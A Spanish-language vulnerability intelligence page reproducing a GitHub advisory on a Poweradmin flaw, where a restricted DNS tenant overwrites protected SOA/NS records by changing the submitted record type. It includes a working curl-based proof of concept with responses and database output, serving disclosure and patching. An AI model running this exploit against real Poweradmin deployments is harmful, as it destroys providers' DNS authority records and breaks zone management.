llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · poweradmin/poweradmin

GHSA-3H74-QH4C-64GG

SOA/NS write restriction for `zone_content_edit_own_as_client` bypassed by changing the record type in the same request

Parche disponible
Descargar PNG JSON
CVSS 3.1
8.1
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche4 versiones3.9.12 · 4.2.6 · 4.3.5 · 4.4.1
Exposición78 dDesde la divulgación, 3 sept 2026, 11:39 p. m.
Detección76 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
No es drama, es prevención. Hazme caso.Esto amerita una regla de detección, por si acaso.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
4 sept 26
4 nov 26
19 nov 26
21 nov 26
4 sept 26
23 sept 26
13 oct 26
2 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-3H74-QH4C-64GG divulgada · CVSS 8.1 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Poweradmin's `zone_content_edit_own_as_client` permission exists so a DNS-hosting provider can let a tenant edit ordinary records in their own zone while keeping the zone's authority records (SOA and NS) under provider control. `RecordManager::editRecord()` enforces that restriction by checking only the record type *submitted in the request*, never the type of the record actually being modified, even though the existing record is already loaded earlier in the same function. Independently reproduced against commit `d814d61` on a tenant holding the shipped, non-superuser "Editor" permission template: submitting the true type directly (`type=SOA` for an SOA record, `type=NS` for an NS record) was correctly refused in both cases; submitting the identical record IDs with a different type destroyed both the SOA and the NS record. Affects `<= 4.4.0`; unpatched.

Details

Vulnerable check, `RecordManager::editRecord()`:

$recordDetails = $recordRepository->getRecordDetailsFromRecordId($record['rid']);   // existing type available here
$record['zid'] = (int)$recordDetails['zid'];                                        // ...but only used for this

if ($record['type'] == 'SOA' && $perm_edit == "own_as_client") {                    // SUBMITTED type only
    $this->messageService->addSystemError(_("You do not have the permission to edit this SOA record."));
    return false;
}
if ($record['type'] == 'NS' && $perm_edit == "own_as_client") {                     // SUBMITTED type only
    $this->messageService->addSystemError(_("You do not have the permission to edit this NS record."));
    return false;
}

`$recordDetails` (which contains the existing record's true type) is loaded a few lines above and used solely to derive the zone id; the restriction never consults it. A tenant therefore modifies a protected record simply by submitting a different `type` value for the same `rid` in the same request: the guard sees the harmless new type, passes, and the write replaces the existing SOA or NS row with attacker-controlled content.

The API implementation of the identical rule is correct, establishing that this is a divergence rather than intended behavior. `Api/V2/ZonesRecordsBulkController::performUpdateOperation()` checks both the existing and the requested type:

// existing type
if (!$this->permissionService->canEditZoneRecord($userId, $zoneId, (string)$existingRecord['type'], $zoneType)) {
    throw new ApiErrorException('You do not have permission to edit this record type', 403);
}
// and the requested new type
$newType = strtoupper(trim((string)($operation['type'] ?? $existingRecord['type'])));
if ($newType !== strtoupper((string)$existingRecord['type'])
    && !$this->permissionService->canEditZoneRecord($userId, $zoneId, $newType, $zoneType)) {
    throw new ApiErrorException('You do not have permission to edit this record type', 403);
}
PoC

All testing below was performed against a locally built, self-hosted instance compiled from the cloned `poweradmin/poweradmin` source at commit `d814d61` (not `poweradmin.org` or any live/production/third-party deployment), served on `127.0.0.1:8123` via PHP's built-in development server with no external network exposure.

Tenant created on the shipped "Editor" permission template (id 3), confirmed to hold only `zone_content_view_own`, `search`, `user_edit_own`, `zone_content_edit_own_as_client`, no superuser or "all zones" permission.

Log in as the tenant and capture a CSRF token plus the zone's current serial:

$ T=$(curl -sS -c cl.jar -b cl.jar 'http://127.0.0.1:8123/login' \
    | grep -oE 'name="_token" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
$ curl -sS -i -b cl.jar -c cl.jar -X POST 'http://127.0.0.1:8123/login' \
    --data-urlencode "username=client" --data-urlencode "password=Client!23" \
    --data-urlencode "_token=$T" --data "authenticate=1"
HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:26:15 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=tr4l1nsgf0qbr9cpv1irfh504c; path=/; HttpOnly; SameSite=Lax
Location: /
Content-type: text/html; charset=UTF-8
$ curl -sS -o z14.html -b cl.jar -c cl.jar 'http://127.0.0.1:8123/zones/14/edit'
$ CT=$(grep -oE 'name="_token" value="[^"]+"' z14.html | head -1 | sed 's/.*value="//;s/"//')
$ SER=$(grep -oE 'name="serial" value="[^"]*"' z14.html | head -1 | sed 's/.*value="//;s/"//')
$ echo "CT=$CT SER=$SER"
CT=l8p16lEcoUIHFOtET8AdyCb0eGjP058jGu2t-6MH SER=2026072800

Control, submit the existing SOA record (`rid=116`) with the true type:

$ sqlite3 -header pa.db "SELECT id,type,content FROM records WHERE id=116;"
id|type|content
116|SOA|ns1.provider.net hostmaster.provider.net 2026072800 10800 3600 604800 3600
$ curl -sS -i -b cl.jar -c cl.jar -X POST 'http://127.0.0.1:8123/zones/14/edit' \
    --data "_token=$CT" --data "form_complete=1" --data "serial=$SER" \
    --data "record[116][rid]=116" --data "record[116][zid]=14" \
    --data-urlencode "record[116][name]=client.test" --data "record[116][type]=SOA" \
    --data-urlencode "record[116][content]=ns1.attacker.net hostmaster.attacker.net 9 10800 3600 604800 3600" \
    --data "record[116][ttl]=3600" --data "record[116][prio]=0" \
    --data "record[116][_complete]=1" --data "commit=1"
HTTP/1.1 200 OK
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:26:27 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=h59lsoop2ebj949mrau8oap8nl; path=/; HttpOnly; SameSite=Lax
Content-type: text/html; charset=utf-8

<!doctype html>
...
<strong class="text-danger">Error:</strong> You do not have the permission to edit this SOA record.
...
$ sqlite3 -header pa.db "SELECT id,type,content FROM records WHERE id=116;"
id|type|content
116|SOA|ns1.provider.net hostmaster.provider.net 2026072800 10800 3600 604800 3600

Bypass, same record id, submitted as `type=A`:

$ CT=$(curl -sS -b cl.jar -c cl.jar 'http://127.0.0.1:8123/zones/14/edit' \
    | grep -oE 'name="_token" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
$ curl -sS -i -b cl.jar -c cl.jar -X POST 'http://127.0.0.1:8123/zones/14/edit' \
    --data "_token=$CT" --data "form_complete=1" --data "serial=2026072800" \
    --data "record[116][rid]=116" --data "record[116][zid]=14" \
    --data-urlencode "record[116][name]=client.test" --data "record[116][type]=A" \
    --data-urlencode "record[116][content]=6.6.6.6" \
    --data "record[116][ttl]=3600" --data "record[116][prio]=0" \
    --data "record[116][_complete]=1" --data "commit=1"
HTTP/1.1 200 OK
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:26:35 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=mmckkhgkm5bngi7uhcafp89504; path=/; HttpOnly; SameSite=Lax
Content-type: text/html; charset=utf-8

<!doctype html>
...
<strong class="text-success">Success:</strong> Zone has been updated successfully.
...
$ sqlite3 -header pa.db "SELECT id,name,type,content FROM records WHERE id=116;"
id|name|type|content
116|client.test|A|6.6.6.6

Confirmed side effect: the zone's edit page now reports a serial-mismatch error, since no SOA record remains to compute the current serial from; the zone becomes unmanageable through Poweradmin's own UI until an administrator repairs it.

Restore SOA and repeat against the NS record. Control, submit the existing NS record (`rid=117`) with the true type:

$ sqlite3 pa.db "UPDATE records SET type='SOA', name='client.test', \
    content='ns1.provider.net hostmaster.provider.net 2024010101 10800 3600 604800 3600' WHERE id=116;"
$ CT=$(curl -sS -b cl.jar -c cl.jar 'http://127.0.0.1:8123/zones/14/edit' \
    | grep -oE 'name="_token" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
$ curl -sS -i -b cl.jar -c cl.jar -X POST 'http://127.0.0.1:8123/zones/14/edit' \
    --data "_token=$CT" --data "form_complete=1" --data "serial=2024010101" \
    --data "record[117][rid]=117" --data "record[117][zid]=14" \
    --data-urlencode "record[117][name]=client.test" --data "record[117][type]=NS" \
    --data-urlencode "record[117][content]=ns1.attacker.net" \
    --data "record[117][ttl]=3600" --data "record[117][prio]=0" \
    --data "record[117][_complete]=1" --data "commit=1"
HTTP/1.1 200 OK
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:26:47 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=lqk6cr62h8gv1ppi5bm1joeo1v; path=/; HttpOnly; SameSite=Lax
Content-type: text/html; charset=utf-8

<!doctype html>
...
<strong class="text-danger">Error:</strong> You do not have the permission to edit this NS record.
...
$ sqlite3 -header pa.db "SELECT id,type,content FROM records WHERE id=117;"
id|type|content
117|NS|ns1.provider.net

Bypass, same record id, submitted as `type=TXT`:

$ CT=$(curl -sS -b cl.jar -c cl.jar 'http://127.0.0.1:8123/zones/14/edit' \
    | grep -oE 'name="_token" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
$ curl -sS -i -b cl.jar -c cl.jar -X POST 'http://127.0.0.1:8123/zones/14/edit' \
    --data "_token=$CT" --data "form_complete=1" --data "serial=2024010101" \
    --data "record[117][rid]=117" --data "record[117][zid]=14" \
    --data-urlencode "record[117][name]=client.test" --data "record[117][type]=TXT" \
    --data-urlencode 'record[117][content]="pwned-by-client"' \
    --data "record[117][ttl]=3600" --data "record[117][prio]=0" \
    --data "record[117][_complete]=1" --data "commit=1"
HTTP/1.1 200 OK
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:26:54 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=im538f2ahkits5cvjb8k35rd37; path=/; HttpOnly; SameSite=Lax
Content-type: text/html; charset=utf-8

<!doctype html>
...
<strong class="text-success">Success:</strong> Zone has been updated successfully.
...
$ sqlite3 -header pa.db "SELECT id,name,type,content FROM records WHERE id=117;"
id|name|type|content
117|client.test|TXT|"pwned-by-client"
Impact

A tenant explicitly restricted from editing a zone's SOA and NS records (holding only `zone_content_edit_own_as_client`) can destroy the provider-controlled authority records of a zone they are otherwise permitted to edit content on. Overwriting the apex SOA record removes PowerDNS's ability to serve the zone authoritatively and breaks the zone's manageability through Poweradmin's own UI, since the save-loop serial-mismatch guard aborts once no SOA can be read. Overwriting an apex NS record removes a provider-mandated nameserver from the delegation set. `addRecord()` was separately confirmed to still refuse creating new SOA/NS rows for this permission level, so the impact is destructive rather than a full delegation takeover to attacker-controlled infrastructure, but it is a genuine privilege escalation across the exact tenant/provider role boundary this permission exists to enforce, on any deployment offering delegated, provider-managed DNS hosting.

The same SOA/NS restriction could also be worked around through zone templates. That is a separate bug with its own fix and is tracked as GHSA-v4f7-j9p4-crpj.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
poweradmin/poweradmin≥ 3.0.0 < 3.9.12
poweradmin/poweradmin≥ 4.0.0 < 4.2.6
poweradmin/poweradmin≥ 4.3.0 < 4.3.5
poweradmin/poweradmin≥ 4.4.0 < 4.4.1
3.0.0
3.9.12
4.0.0
4.2.6
4.3.0
4.3.5
4.4.0
4.4.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistpoweradmin/poweradmin
Corregida 3.9.12, 4.2.6, 4.3.5, 4.4.1 — —
Versiones corregidas3.9.124.2.64.3.54.4.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/poweradmin/poweradmin/security/advisories/GHSA-3h74-qh4c-64gg

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.